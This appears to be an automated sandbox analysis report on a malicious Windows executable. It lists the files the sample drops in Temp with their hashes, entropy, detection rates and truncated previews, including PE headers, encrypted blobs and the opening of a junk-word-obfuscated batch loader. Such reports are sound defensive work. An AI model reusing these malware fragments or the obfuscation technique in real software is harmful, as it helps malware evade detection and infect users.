                                          File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                          Category:modified
                                          Size (bytes):893608
                                          Entropy (8bit):6.62028134425878
                                          Encrypted:false
                                          SSDEEP:12288:WpV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:WTxz1JMyyzlohMf1tN70aw8501
                                          MD5:18CE19B57F43CE0A5AF149C96AECC685
                                          SHA1:1BD5CA29FC35FC8AC346F23B155337C5B28BBC36
                                          SHA-256:D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
                                          SHA-512:A0C58F04DFB49272A2B6F1E8CE3F541A030A6C7A09BB040E660FC4CD9892CA3AC39CF3D6754C125F7CD1987D1FCA01640A153519B4E2EB3E3B4B8C9DC1480558
                                          Malicious:true
                                          Antivirus:
                                          • Antivirus: ReversingLabs, Detection: 5%
                                          • Antivirus: Virustotal, Detection: 9%, Browse
                                          Joe Sandbox View:
                                          • Filename: file.exe, Detection: malicious, Browse
                                          • Filename: file.exe, Detection: malicious, Browse
                                          • Filename: file.exe, Detection: malicious, Browse
                                          • Filename: file.exe, Detection: malicious, Browse
                                          • Filename: file.exe, Detection: malicious, Browse
                                          • Filename: 6I8BO0tIYE.exe, Detection: malicious, Browse
                                          • Filename: capcut Setup-x64.msi, Detection: malicious, Browse
                                          • Filename: file.exe, Detection: malicious, Browse
                                          • Filename: aIye4PP6zx.exe, Detection: malicious, Browse
                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R.*.R.*.R.*..C..P.*....S.*._@..a.*._@....*._@..g.*.[j..[.*.[j..w.*.R.+.r.*......*....S.*._@..S.*.R...P.*....S.*.RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

                                          C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe

                                          Download File
                                          Process:C:\Users\user\AppData\Local\Temp\684126\Intake.pif
                                          File Type:PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                          Category:dropped
                                          Size (bytes):65440
                                          Entropy (8bit):6.049806962480652
                                          Encrypted:false
                                          SSDEEP:768:X8XcJiMjm2ieHlPyCsSuJbn8dBhFwlSMF6Iq8KSYDKbQ22qWqO8w1R:rYMaNylPYSAb8dBnsHsPDKbQBqTY
                                          MD5:0D5DF43AF2916F47D00C1573797C1A13
                                          SHA1:230AB5559E806574D26B4C20847C368ED55483B0
                                          SHA-256:C066AEE7AA3AA83F763EBC5541DAA266ED6C648FBFFCDE0D836A13B221BB2ADC
                                          SHA-512:F96CF9E1890746B12DAF839A6D0F16F062B72C1B8A40439F96583F242980F10F867720232A6FA0F7D4D7AC0A7A6143981A5A130D6417EA98B181447134C7CFE2
                                          Malicious:false
                                          Antivirus:
                                          • Antivirus: ReversingLabs, Detection: 0%
                                          • Antivirus: Virustotal, Detection: 0%, Browse
                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<.]..............0.............^.... ........@.. ....................... .......F....`.....................................O.......8................A........................................................... ............... ..H............text...d.... ...................... ..`.rsrc...8...........................@..@.reloc..............................@..B................@.......H........A...p..........T................................................~P...-.r...p.....(....(....s.....P...*..0.."........(......-.r...p.rI..p(....s....z.*...0..........(....~P.....o......*..(....*n(.....(..........%...(....*~(.....(..........%...%...(....*.(.....(..........%...%...%...(....*V.(......}Q.....}R...*..{Q...*..{R...*...0...........(.......i.=...}S......i.@...}T......i.@...}U.....+m...(....o .....r]..p.o!...,..{T.......{U........o"....+(.ra..p.o!...,..{T.......

                                          C:\Users\user\AppData\Local\Temp\Defend

                                          Download File
                                          Process:C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe
                                          File Type:data
                                          Category:dropped
                                          Size (bytes):73728
                                          Entropy (8bit):7.99763246223019
                                          Encrypted:true
                                          SSDEEP:1536:xYyDQpiBJmgQYH99Lr7PayRPC/Q9WEeSj3uOPfDAJch+x8RQK8CK:xYFpSLH/PR6yeovP0JC+xw8CK
                                          MD5:3FFE3C3FB21A5ED46A9978D2B5947B6D
                                          SHA1:819162AFF48F808F9F3B5E3EF4D0C796AA9DB8E7
                                          SHA-256:7653A8CF9BA473A69BB709BF79E5FA9A9C6241A4B1E3322F2DDDB687757BE597
                                          SHA-512:9BD9E6C0EEA5F5C1A8CA9BF73462EC5EBF40D6D1288CFDD9771FC8ACA1483532FB32AE7DB78BB1A097A402446E5BD2BDB74A569BD22D629044A1CF6C75DA48D8
                                          Malicious:false
                                          Preview:b.8.......P..u.&Jt;l..plHxoj.38=..X....Y\u...f.."px.}.....E...O$..R.%...FA..>......9...... T..\..^x,..`...&'..j."..v..T...C... ..c.U9...$.SN..ft...<?c+.0pO..!c....s.pr..o.D...E..4.O.<J'./..j.Wrp.6_......9&..[..A..x....6.k.......E...|.3.'....x.Q4..j..h.%e8.t..uH4....I60j......4.}"..X.0.7..U3.*C.:..h......c)..4.M.........o.9y.WK...ErU.J](...R.Y-..,u.2.p..z..L`J@Y..q.`.....|.>a.p.Z....,.E..E....A....r./.Y..kD.U.;.3e.H.$...y.b.X......b....@......1.....q_i.*7..L......-.....E. l..t.S....+..j....r.u..l....g.3...C.y...w0#E{.p..n.#.3....B..>.h...DJ^[O*..._.x'.F..[b7mz..;.....&..7..G,H.}....b.../..>.....l;.B;.41...@B...r..w0..1Y.[..N..z..t.}...k.s.....6|...s6.5"...+..U..d..y:...$.[.e..>..v`RB@..x*.{...u......X..6...:..^QM.=.._...}o.C$#\\.'.P..B.^..n.;jD.>X..j..~..V{"#.<.Z...[,.....Y...s.%i.....}.....:..9...P...\....:..w.a.x1.D..s..b...E!y).|-..$...~DK.....uA.....^.....mC...N..;)~i........Z..Q:..W.......%....6.o.f..**.7....{.ui...# .kcO...AP...Z].R(.2.

                                          C:\Users\user\AppData\Local\Temp\Done

                                          Download File
                                          Process:C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe
                                          File Type:data
                                          Category:dropped
                                          Size (bytes):72704
                                          Entropy (8bit):7.997370573542064
                                          Encrypted:true
                                          SSDEEP:1536:qbfPM6L89lpZOEBD+YTwba5jdzZQnVKPWVN3fYvUgUGQYWa:OM6L6lpePohZQnVDvf/g7
                                          MD5:6313731000C458F93F3B38F8EFE8F473
                                          SHA1:80465192259472D99DF58AE9B855FB39A417057D
                                          SHA-256:515C0187913F0A9A8A29474AB4254C708B7313C7D51336298AC12309DA2C5762
                                          SHA-512:9392EB0A8D2E0F40CDF1680836446DF5EBF593946C08D70BDB847AEE282C340284F101447474B029EE19267CD7D35A67036E1C601E4396A7F3D77602C2F0D193
                                          Malicious:false
                                          Preview:.&....9....3!<.hlkQv.K..'.K..<ox|)....kp..,.nX...r.......X..WKs)hW.dW.-..B....-/..w.....j.V.FQ`.[.@+....u..W.m.*..B..{t.Udm.u...qIX.P..?Xw..._@.....Yr..|K.#.?"...._.mkX...[..5@k.....x*=..{r.......~...BV..*o."d..%.o.n........ebd.9.q19....R.J...2._.WG..W..%.C....Gg..iC.Aqh...%1f.hk..|.4m...p.!..-!'Xo..|....:...^(....#k.....RmGYX......RC......l..Ft..y......M.h .U.6P..,....."P.!.IB.=@....$.Pz....2..:..)S..9.."..K.....[._..I.x($.!.i%.=....U..3..P..wF.........@....N.E.9..y..sWpW.f.....O.J...l..na.......Y-...V.j.v.......]^......J.U56.....s.%T...6....{7&...Z...|....-..<..y!...6^.u..P3...Y.]S...T.j...^..<....N.. ...i::X..q.b...K..K........z.D}z......%/j.[..|Z.6...e... [..$......y...d.L$U....&>...{.:n.+.-.r....}\......[....e.w|....vF...rr.)..a.....N'............af..`....A..m@L.....?y...../..p.....Z...6 .....:..h=....l.....00v.S~....s....u$..~.$.;..LASC.....I.....4.a:.......G>N$y-.]>.aEB.:d..,.+.[..N.+BN....L.*$.Q!#..I.Dw]L....>.M.i.6....

                                          C:\Users\user\AppData\Local\Temp\Dow

                                          Download File
                                          Process:C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe
                                          File Type:data
                                          Category:dropped
                                          Size (bytes):59581
                                          Entropy (8bit):7.996877776353801
                                          Encrypted:true
                                          SSDEEP:1536:aKttlAAAKlfy5OaibdbeMmH5xACV85Io1chT:aKrawlf+Vihbh6gCVQIo1chT
                                          MD5:8B6FFBDEC787D05144222945ED6F1630
                                          SHA1:5B78F2ACF88B3FEFDD6F83DCEB7FAB9F1E2F6E7F
                                          SHA-256:1556D87508FC4FF200A5AE230B2DEDBA08E928C874A8F4598E4B683C245112D5
                                          SHA-512:4143F7AA5CDF8BF1282901A01B85933C382C52C1761C47E140838D3657FB3312E732F4E1F75A2EB9E222B2BB7255F0BD704F3508ECDA2B2580597886186A3C3B
                                          Malicious:false
                                          Preview:.+.B...w..=ZJ...7..U.3ay.X.`k..q.Mw.....&..f..^..k..y....xn3HU...t.S._.;.:.6...y..a.. ..v.....H[.....m.%.T.>..&C......!......Q.M...td?...d.Svs..G."..I...^|...G.j..ay"..n..5.n..,?.b.W'......Q......Bk7|..%p.nd.B..0.^Q4~.H...1.zeKx.lAt.SBj..9z'v......].@......f6.3.%......ep.O.......(.[.te.|..J....V..=VYfJh.|....(...q..}..5[..G'...i].d.....5..a..b...P....[.I......7Y.....V.Ue.$..ls4..qw......."."..M......0j..2.%z.8........;sg/P.u.B......-'>. .a........u^....K.1c..;.NA...Ru.x.z.+.o..x'j...\.U.?....}l...Q.*.G=.$..&..7..e....K.........<^a.....Z,..v./....p.Zj...n.......K,Q..e.......E........Uq..j...1.;j..Dv.4F'y.1..R9..N..."f..e.6U.l..be...<.p..Y..b.......TlJIH.-......|.?3.b...G....w1..Z......]-r.x!.<w.R.<T..{...}..9.O..~N.dN.1WL$...8...9d..V.2..@..S.. .s....} -%.....U........a.XO.6..{m.......*,...R.L.TQ/3Z6.h^3........z....j..5..cj?.-.....4.[.'..\o.\..a.... .z`..X.<#+...f.)._.<bt.,..,.&......$#.\6q....m......... ..5J@..vL...ql..+E........\...I

                                          C:\Users\user\AppData\Local\Temp\Drop

                                          Download File
                                          Process:C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe
                                          File Type:data
                                          Category:dropped
                                          Size (bytes):86016
                                          Entropy (8bit):7.99736214085485
                                          Encrypted:true
                                          SSDEEP:1536:QXDNJtAEKk4pNcHC+kKUy6WdrfhOv3nNINUknqMaIuC6CA9pdnioFHPGmtrs:j+kPBg4v9INUOT6Jp8yGmtY
                                          MD5:04E73383049289673593DF5A29973BAD
                                          SHA1:97902E070C1A530994CAE694220795D1A28036B0
                                          SHA-256:98AA216D527304E5C3D0B912141B382FAB019C266B39CA6A0FA7D370F5CB863A
                                          SHA-512:0892EC2917D1B9538576FA44BFB04BCFEE4772F88109B365866CA15953EB2552158CC4FFC1C7345236143B00AEB4ABD0B573E21CB89CD2E97732A30FE98E18FC
                                          Malicious:false
                                          Preview:/ #..uU..+t..Re<.'N:~v..g.G*...&...>..I....d....;"...y...=.....f3.t.YWOc..u.BC..fH...y{.../W...?......K..?.J.....'.l.O...@.....=.....9.8..m.].....{....K..6....62}G...G&.5...].....g..]..-.L....M..ZI...z...:$.)N......M..n.TM.1.j..$.f6.......l..........t......s..).q["...@]0.q%.X.mT:}"......luH..+..|<.K.|o..[. .?..*.....dST..P..Mi]^.../...]:b.~.?.j.W.v..D%~.3..........J.?m...?!7.+....T..v..a..^...cC....w4.5.O%.3.g.FI....v..u.....v.].R.d.....w....../.3.....t.8.M)Pe@..m.]=E.+p.6.s..u/.~]....+CX..*.K......HS..:..h-l.}|.N..eX..3.>h/`z."..=.............w..oXx...... ...)%7.j{..a5g.....j.K...#..d.3...MTPa...'.x.....]...d..o}x.....$.u.%N....z..W....|3.B&.]%.&H8v..w.d...._.K.ha...4p.B...*.s.+.$e.t+...G..B.y.x......Ai.../..F.........?.P'.....W.?.^..-..n.y.kP..?uKu.c.k.w.!....5O.a.A..e..&W.v$...M6e.g.G.$1..x.?..O..e.....>.............e.jq..........t..6e...Y+.8....0|"%.j..P....;*He.....eV...GpC.hAL.Py.:.Ig.'qU.5....../yP.d+..v....L.......W.e.Z..N.H'..e.0m*

                                          C:\Users\user\AppData\Local\Temp\Ever

                                          Download File
                                          Process:C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe
                                          File Type:data
                                          Category:dropped
                                          Size (bytes):434
                                          Entropy (8bit):4.5988745714402945
                                          Encrypted:false
                                          SSDEEP:6:bZURBw9qjvVg3F+X32l/8xb99E/p/LrJs8jw/0hPv/QHPSQdsplq6h1v:qBGyGSGCbTQxbs/0pQHPZdsLq6h1v
                                          MD5:D0771024E040EEC0492C72F99F1A9DA3
                                          SHA1:9B0C8A089917FB62620772FBF905F2131A6E3263
                                          SHA-256:5CBDA1C4B5D68D0591EB5D0C82F05C4AF6A971AB1E01111B7A456DD8FE5D928E
                                          SHA-512:E3EE538586972969EE2652E63719E7221AD96BA21FC9DE757CBDD5188F2074EE19A80B7DA1364F9D047AB377C676285C8734383ABAD8C04E5485826442345A84
                                          Malicious:false
                                          Preview:VegetablesIndividualBindingGba..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R.*.R.*.R.*..C..P.*....S.*._@..a.*._@....*._@..g.*.[j..[.*.[j..w.*.R.+.r.*......*....S.*._@..S.*.R...P.*....S.*.RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@...............

                                          C:\Users\user\AppData\Local\Temp\Haiti

                                          Download File
                                          Process:C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe
                                          File Type:data
                                          Category:dropped
                                          Size (bytes):54272
                                          Entropy (8bit):7.9966184683637795
                                          Encrypted:true
                                          SSDEEP:768:Tc5WZoJa/9Er55M4mM/BnvX9WLzv21yiSm0EfODeWVjFCyWvi9l6wHMpWMGoGcf0:KalErnM41BYt49VkFLWvEGrGG0
                                          MD5:A3BD90672827FF4663266FECB6984494
                                          SHA1:47B92E0B39385192B21EF35E10420708BFF5880F
                                          SHA-256:1597ABDD2A12A699B8430E6E0BA2F5929902055255F3498DDEA3B7BB7846219A
                                          SHA-512:5183A5CE6920EB8B737C22EF1331E49D40687AEA4E8842261D56D629DA833BF66083BAA0E3492C20BC19146C1D6E194584A47913CE099E551C996C072C64BF42
                                          Malicious:false
                                          Preview:./.a.Y.|.J!E...I...0Z......!.gw......t.\l.. ..FDY.7.(A..^67......9....2|...<X.+e.)..........6).^.......2NAu!O...'.\~r.g.,.....'..Z.N.]...,f.K..%c%d.....L...R...d..u."...b..'A{.Fk....O.]..Z..........U...9...f.%.p.k;%......<..U.....@..X..y..r..}..BB.T.BZ.}.U.....R.)..n.5.B.z"v.o...Se...-..L..0.....W.<k\.i....icr.z7...{.oJ.9.....F.}.,.Y..u..X.D..h..O..S.....".o._...._....+...{.......m.b..(.7'..xh.8>u..../..tU`B.......<.... A..l.^._LF...t,........].dr.....RM'....&...V..z&.....nd...`....Ek0V...&...#\..x..]..5..lc,.....x...M....m..sI|....2...=.C5H,.x~.`.g.$.}..nT^vD&.U.\L1~...q.!LE.hf......56..=MN...'%.....3.R.H........%.A(S.&Mq...X.="O..N..!R}.M.....V>i..{.a...N.c.@.+.....U.Z..wK.M.o..If.y.....V(.yA.....7.D&)....M]..h.*.B.I...{.01........`.w`...W.^...BK.r....n....o@\....J..vo..{.....,..(B.>.x..D..!....5L.....t.c..3.|..KH.N.@.._.7jyW.....Y.&.d.d...A...`n......D.t5H.ul.R...n..QH0.ShR.5*......N]. ..q...CV..M&.AI...(B...D.Mz.X..e.m/.=...Q..]..W.".W1.^

                                          C:\Users\user\AppData\Local\Temp\Judy

                                          Download File
                                          Process:C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe
                                          File Type:data
                                          Category:dropped
                                          Size (bytes):80896
                                          Entropy (8bit):7.997395157404506
                                          Encrypted:true
                                          SSDEEP:1536:eKPMbv/5yEeRPtj0yWCwX+JMxW2jE/N0wwspqx1UEgPL+n4rI7bAAaxZWe:H0FQRFj0y9wXTW2aNNwMqxKEgPU3AAah
                                          MD5:0042DE6EA5DA496E284A3A7C45D1F224
                                          SHA1:E449E78B4F6B0879DC49CE81CBC522AEF069F2A9
                                          SHA-256:41C6A8AA311FC5A358144A730B1AFA20F46CEEEA2FFC725944257261A98AFB7A
                                          SHA-512:82D9A17F4483474C31E7F74FC046BD109941811A29C348B8823CB32E13CD972A1960259466F923E1C6C07EB9C9493D79CA9F54417DDB5B34FDBF098CE6F3DA18
                                          Malicious:false
                                          Preview:..[.....oh./.$...hJ..\.v.6*_..t.m.............'....0.....<E..u..,...V.T......y8^I.s:...EGE/.bJ;..l.9.A!m....m.E}...m....y.&hPU...\t...U....L...N..Ru./l6..o.1...l..~../...[w`..s..y..R...z.U...itg...:.7a.&...OC.O.t}c.6...>...SU:....h..2....9c.;.#..<..?{....s......j8J.;mo...j$|.E....eZ..#..O/.f....6..K...Dv..&.........&./(qm..~.:.IT.|.tBk&.E.h...gh.J.].s.m.J`..... .L...M......{..nQ..e-~.c!Ax.H.:....z..8P.$.......LZ=.$l~.m.7..7..{.p]d-..7m.7...Sx...b.$/...h.h..b.~{...`P....w-......I..AN......5z2.M....t..l*.(...%.....0....j..G.z>.g........fa.As.....xD...5........ .$P..:h.u....:D.o|..uo}..u.5..Z.....y2.DBk^.....~..i...8.W.....X...%...R.;....;.5..tZ......1<f.#=....l6.....=....%w&98..VBz.W...z..yj......&.o0=..^............?s`...N....$9w.x....b.l....*.....Hqi..J...ts.Yd.S....m..6.jM]J..x...Qsy.e...M...uKz..'....:.'~@ux..(.....=.Y...P..,.....JJ...u?...0v.W....!}...(....J..2~u....GL..eu..Q...I5vRu...M...T.}.n....;DS...1..w.fw9....W..*.0..

                                          C:\Users\user\AppData\Local\Temp\Luck

                                          Download File
                                          Process:C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe
                                          File Type:ASCII text, with very long lines (512), with CRLF line terminators
                                          Category:dropped
                                          Size (bytes):12104
                                          Entropy (8bit):5.023998818902733
                                          Encrypted:false
                                          SSDEEP:192:ao+40ehqx2n+M52TTYmN04EeLocLIGsJ1nBPp1Scufu1bBEsPNNsSwBT3u92jTf8:an+M2+MMTTZN0goyIG81BfS3fu1bBE+H
                                          MD5:2DC7D0C0F159951F61BF3A13B09248FA
                                          SHA1:096BEFA4FB246D61BCE5143C841A4557EF2DB783
                                          SHA-256:BE3789DEF126BAE2C4AAB1F575CD5A0672AD622F6EBBAFA1531A8B88B144BEEC
                                          SHA-512:BEA4558DC80E80D1C7933472D2661A9A1759EA0F5EF86A6EBF48A5A828472CB6A22B2FBBE760C97A204530E03C9BD6700C64E0F66C6D12C52ACAAD0D95E9F38A
                                          Malicious:false
                                          Preview:Set Morris=0..ynPrivileges Blair ..fxmoHunger Importance Clubs Terrorism Chamber Video Stay ..mYasAccidents Deliver Gates Mayor Delight Tractor Score Binding ..hCqBarbados Helps Ceramic ..ytLbTransformation Passenger Calculations Collections Anger Gathering Motel ..oMuaStuff Mercury Replication Ceo Movements Generated Newcastle ..pGTSHundreds Strategic Sb Superintendent Dns Nu Fcc Enlarge ..Set Expectations=f..rTcSacrifice Beneficial Sensitivity Teens Usually ..CEYLetting Flavor Stuck Tons Reasons Agent Devoted Extension Cir ..LtfnAffiliates Go Mag Soft Experimental ..KYAdult ..QZKeyword Syndrome Diverse Skills Too Result Dimensions John Greenhouse ..KoMInvited Screensavers Processing See Excerpt Frederick Trick ..wNHTGibraltar Rugs Thanks Originally Conspiracy Discuss Homeless Playboy ..bhRapids Discrete Manage Www ..uosZElectronic Excerpt Ent Leader Opposition ..Set Williams=i..ApwXPrototype Launched Wall Leu Toner Ethnic Aol Guess ..vcBodies Giants Acknowledge Batteries Part Jun ..Q

                                          C:\Users\user\AppData\Local\Temp\Luck.bat (copy)

                                          Download File
                                          Process:C:\Windows\SysWOW64\cmd.exe
                                          File Type:ASCII text, with very long lines (512), with CRLF line terminators
                                          Category:dropped
                                          Size (bytes):12104
                                          Entropy (8bit):5.023998818902733
                                          Encrypted:false
                                          SSDEEP:192:ao+40ehqx2n+M52TTYmN04EeLocLIGsJ1nBPp1Scufu1bBEsPNNsSwBT3u92jTf8:an+M2+MMTTZN0goyIG81BfS3fu1bBE+H
                                          MD5:2DC7D0C0F159951F61BF3A13B09248FA
                                          SHA1:096BEFA4FB246D61BCE5143C841A4557EF2DB783
                                          SHA-256:BE3789DEF126BAE2C4AAB1F575CD5A0672AD622F6EBBAFA1531A8B88B144BEEC
                                          SHA-512:BEA4558DC80E80D1C7933472D2661A9A1759EA0F5EF86A6EBF48A5A828472CB6A22B2FBBE760C97A204530E03C9BD6700C64E0F66C6D12C52ACAAD0D95E9F38A
                                          Malicious:false
                                          Preview:Set Morris=0..ynPrivileges Blair ..fxmoHunger Importance Clubs Terrorism Chamber Video Stay ..mYasAccidents Deliver Gates Mayor Delight Tractor Score Binding ..hCqBarbados Helps Ceramic ..ytLbTransformation Passenger Calculations Collections Anger Gathering Motel ..oMuaStuff Mercury Replication Ceo Movements Generated Newcastle ..pGTSHundreds Strategic Sb Superintendent Dns Nu Fcc Enlarge ..Set Expectations=f..rTcSacrifice Beneficial Sensitivity Teens Usually ..CEYLetting Flavor Stuck Tons Reasons Agent Devoted Extension Cir ..LtfnAffiliates Go Mag Soft Experimental ..KYAdult ..QZKeyword Syndrome Diverse Skills Too Result Dimensions John Greenhouse ..KoMInvited Screensavers Processing See Excerpt Frederick Trick ..wNHTGibraltar Rugs Thanks Originally Conspiracy Discuss Homeless Playboy ..bhRapids Discrete Manage Www ..uosZElectronic Excerpt Ent Leader Opposition ..Set Williams=i..ApwXPrototype Launched Wall Leu Toner Ethnic Aol Guess ..vcBodies Giants Acknowledge Batteries Part Jun ..Q

                                          C:\Users\user\AppData\Local\Temp\Manufacturers

                                          Download File
                                          Process:C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe
                                          File Type:data
                                          Category:dropped
                                          Size (bytes):73728
                                          Entropy (8bit):7.997029933291033
                                          Encrypted:true
                                          SSDEEP:1536:n2bOfwT4r7hNb6cG6VmGCFDWUDR+hXQVKZKnfueaZvwuLXBAp:2Ec4njb6cLoVzRiLsNaZvwuLxAp
                                          MD5:754A9DAE2397213100854741CF7DB47D
                                          SHA1:C1DBDA2AE60B34CA976F7930855AB55EBAAC6C24
                                          SHA-256:485CBA993AE39C80B87167C2694C3078811838101CAAF7B968A2B5F6A0390B7B
                                          SHA-512:FF9A1578733FBEB1179A6FB08145CD663009CD9D35F3CE28FED836BD4A44CDDE96EBD15FD63B030F61C8D389E224430DBC63FFD2B1C09B73BC5F726B83B5ECB8
                                          Malicious:false
                                          Preview:2@...&...Z[y......}TXoa...V..Wc.._...Y...v.O...w.XB..X.j..w..:.W.0Fv...r.....A..o..E.H}C[.N8...{..-..>?y....1.ZA..~..>`.^#&.....^..^S....%.X.j1hW.q1....K.=SqK.{.8...S..........C..'..9?.P>V!K:.....j..j..[=....K.6..e.M..69...{.Pgb.....V...../.[."b)..V.X.IN.....5kTfT.w...R.U.....Y.:c7B...x+%.*...@.JD^..%..U....a.E%.........H.>)K..t...z...M.2.cs....H4.d..G...e%..Z....0..b.&.......{.."..Tp. ...-P......R.k....,.;.j........#k..>.0....s..3-c..B(./..WkY..^....?z)d.Id. .nu.............^.9].3.....(.......^..zW.s.\....zu....4E....k....E.f.2.(d[c.&..x..'.h.....s.4V1xO......N.FQ..B_..U..<kP.bK.j..F$.~'..F@<..b...nI...e....k..mo-.a..1.....Z.....5........:...K.,.<....H^.B..rZt..Cvu...bOH@Z...(.5.&...U...6%x.x.[........Ct\.......~u.|.[....F..A.>.|.Ft...4...X..r..c.E..J.....!!....-...s..)S......\U.M.[...B....x|'.7.s........3'.jT..w.g.J.Km....W....hkL..]<.B..F....5.>} ..@...*....x{y.....|Wcjc4...K.....z..+.c._..T....9......o.G...!.F..#9....6[.K..Kq..

                                          C:\Users\user\AppData\Local\Temp\Nevertheless

                                          Download File
                                          Process:C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe
                                          File Type:data
                                          Category:dropped
                                          Size (bytes):893206
                                          Entropy (8bit):6.620524627115326
                                          Encrypted:false
                                          SSDEEP:12288:tpV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:tTxz1JMyyzlohMf1tN70aw8501
                                          MD5:E813B80D164D4952B66C8EA5536349CD
                                          SHA1:8907D822BD69009A8AB7586F26BC5FB2392D0EF1
                                          SHA-256:0611030533326DE6BF61941F4A87DEB1F310874DDFC32DAED2E2F4C22ACB1D70
                                          SHA-512:3B97A8476074E47999A892A663168A19AB4A17C75EE1629A95CDD507533A256F8FEE5CC7308E6E755B4D90425DD3145F8C08F0E1D5DE5534A1E805C61FCBB4D0
                                          Malicious:false
                                          Preview:..........|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B.........................................................................................................................................................................................................................................................................................................DaL.....h..C..\...Y...L..h..C..K...Y..N..h..C..:...Y.h..C......Y..<C..h..C......Y.....h..C......Y.Q.>...h..C......Y..sL.Q.@...sL.P.9...h.C......Y..G..h.C......Y...(..h.C.....Y..4..h.C.....Y...L..2...h.C.....Y................SVW..j.[..l............Ky.Nl.....N(....V.;...Y_..^[...SV..3.Wj._.N...N(...^..^..~..^..^..^ .^$.......f.^8.Nl.F:..^<.^@.FL.FP.FT.FX.F\

                                          C:\Users\user\AppData\Local\Temp\Qualified

                                          Download File
                                          Process:C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe
                                          File Type:data
                                          Category:dropped
                                          Size (bytes):69632
                                          Entropy (8bit):7.997436854135872
                                          Encrypted:true
                                          SSDEEP:1536:FhVdlgVMe8PQvnBO8sRoI7HKvkuabyE0Q1rp4Avjl1FVskhjsM/y5pZVZ4mjyhVJ:FDceBRo+xJD0Q1rpxvjl1FakhJ/JmGhf
                                          MD5:5CA401680E665E82B5A935F525E843F5
                                          SHA1:01BF1FC5DA64B1CDEF2388A542669161DC33852D
                                          SHA-256:9C9ACAA1E7F8FCE40369324A265C9B7D17022B7EE5802896D0985EB9B09FD098
                                          SHA-512:29E259058CA187D56A49835EEA888B29D065CBA8958D3BC619A339860E0405DCBEB7F82FE1AA56381224EE27EEBBE451B539FE153A1DD26FE43405497B898F67
                                          Malicious:false
                                          Preview:......#..2...<.yMS...yb.@.....O).~..]n.Wp5.o.......I.........L..u...ix..i.....b.....%8y.....y.7..4f_.........9.]...=...:.X.4..b.............J.}.2...q..C.O.T.)S&...-.......U.-.3....H.:...Mg:s..H<-..9.K..wE..;Ll@...d..H.......H..r......&..@G.!...R.w ..w.~......\.B7su..6..]...Ht...D../T. ..........s...J..k..O.......*.......r-.1OF.yh..M...q..7..:.M-.....>....Nk".2......i...}b.6E...O.......`....XA........I....K..1y....q.@..gd..>...^KP..g...t#.\....{.....R9.....D|Oz]U..jioM"(<..[..-.,3p..&..kz..:v..@..Z.q...^.......Ce......5X.a.>...-.QnH..QpK....P.2.u..V ...R.....L....hs.tW...a....5....=.....A9su..$...;.EN#`M+.U.u.5.>.A+.HK.......)...kF......((B......N.*.1V....k'g.D....._.czv=..`...........Ul.[..E.L..k.O.4.. ..t.......*..}%.7.....g..P.c.c.R.bP5..o.f.....`...+.+....AT.*.8...k.^....Z.].....`..'/...Y.......}.M}..2.......^.}.....3..e}..z.5$;...D.V.GP...G....7.....]..n.q.fS..x......Ys...h.%...}.~..0.&N4.P...K~0q...Q.<.b..]HD.....R

                                          C:\Users\user\AppData\Local\Temp\Runner

                                          Download File
                                          Process:C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe
                                          File Type:data
                                          Category:dropped
                                          Size (bytes):65536
                                          Entropy (8bit):7.9973839009114025
                                          Encrypted:true
                                          SSDEEP:1536:Z6LVjIhl1Xli1XPIMsOuCFPR9zXkl/pvSfGdlQdqVQe1ZBWol:Z6JQ1XuXPj9FPPIl/pvSfGdKdqVz1mol
                                          MD5:C17552522A54E508D07C008D72B87321
                                          SHA1:BE1F9BEB4800793DBEF0AB8431CA25286EDE7BD2
                                          SHA-256:8D58E294DEA1C83234048D48694D64AB1766A16128D69699FDEA62C2D5E0B722
                                          SHA-512:5D38A368819E6C7D9DEF4C162BC221FF52DAB77376BAB01BE3F524DA006DE58EC5B4C977EDBEDF60B880FA73F2DA408C7D21ECF9F32BB0A03A636AD3A35E21BE
                                          Malicious:false
